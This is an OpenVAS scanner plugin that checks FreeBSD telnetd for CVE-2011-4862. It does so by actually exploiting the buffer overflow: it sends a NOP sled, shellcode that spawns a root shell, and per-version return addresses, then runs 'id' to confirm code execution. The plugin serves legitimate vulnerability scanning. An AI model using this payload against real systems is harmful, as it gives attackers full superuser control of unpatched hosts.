FreeBSD 'telnetd' Daemon Remote Buffer Overflow Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_freebsd_telnetd_51182.nasl 7044 2017-09-01 11:50:59Z teissa $
#
# FreeBSD 'telnetd' Daemon Remote Buffer Overflow Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "FreeBSD is prone to a remote buffer-overflow vulnerability.

Exploiting this issue allows remote attackers to execute arbitrary
code with superuser privileges. Successfully exploiting this issue
will completely compromise affected computers.";

tag_solution = "Updates are available to address this issue. Please see the references
for more information.";

if (description)
{
 script_id(103373);
 script_bugtraq_id(51182);
 script_cve_id("CVE-2011-4862");
 script_tag(name:"cvss_base", value:"10.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
 script_version ("$Revision: 7044 $");

 script_name("FreeBSD 'telnetd' Daemon Remote Buffer Overflow Vulnerability");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/51182");
 script_xref(name : "URL" , value : "http://www.freebsd.org/");
 script_xref(name : "URL" , value : "http://security.freebsd.org/advisories/FreeBSD-SA-11:08.telnetd.asc");

 script_tag(name:"last_modification", value:"$Date: 2017-09-01 13:50:59 +0200 (Fri, 01 Sep 2017) $");
 script_tag(name:"creation_date", value:"2011-12-28 12:32:36 +0100 (Wed, 28 Dec 2011)");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Buffer overflow");
 script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl");
 script_require_ports("Services/telnet", 23);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("telnet_func.inc");

port = get_kb_item("Services/telnet");
if(!port)port = 23;

if(!get_port_state(port))exit(0);

banner = get_telnet_banner(port:port);
if(!banner || "FreeBSD" >!< banner)exit(0);

fbsd[0] = raw_string(0xed,0xee); # FreeBSD 8.0 & 8.1 
fbsd[1] = raw_string(0xa6,0xee); # FreeBSD 8.2
fbsd[2] = raw_string(0x86,0xde); # FreeBSD 7.2 & 7.3 & 7.4

foreach bsd (fbsd) {

  soc = open_sock_tcp(port);
  if(!soc)continue;

  recv = recv(socket:soc,length:256);

  req = raw_string(0xff,0xfa,0x26,0x00,0x01,0x01,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0xff,0xf0,0x00);

  send(socket:soc,data:req);

  recv = recv(socket:soc,length:8192); 
  if(!recv || strlen(recv) < 8 || hexstr(recv) !~ "fffa260201") {
    close(soc);
    exit(0); # telnetd does not support encryption
  }

  req = raw_string(0xff,0xfa,0x26,0x07,0x00,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
                   0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x31,0xc0,0x50,0xb0,0x17,0x50,0xcd,
                   0x80,0x50,0x68,0x6e,0x2f,0x73,0x68,0x68,0x2f,0x2f,0x62,0x69,0x89,0xe3,0x50,0x54,
                   0x53,0x50,0xb0,0x3b,0xcd,0x80,0x00,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
                   0x90,0x90,0x90,0x90,0x44,0x45,0x41,0x44,0x42,0x45,0x45,0x46,0x6c,0x6f,0x05,0x08);
  req += bsd;

  req += raw_string(0x05,0x08,0xff,0xf0,0x00);

  send(socket:soc,data:req);

  recv = recv(socket:soc,length:8192);
  if(!recv || strlen(recv) < 6) {
    close(soc);
    continue;
  }

  send(socket:soc,data:req);
  send(socket:soc,data:raw_string(0x69,0x64,0x0a)); # command: id
    
  recv = recv(socket:soc,length:8192);

  close(soc);

  if(recv =~ "uid=[0-9]+.*gid=[0-9]+") {
    security_message(port:port);
    exit(0);
  }  
}

exit(0);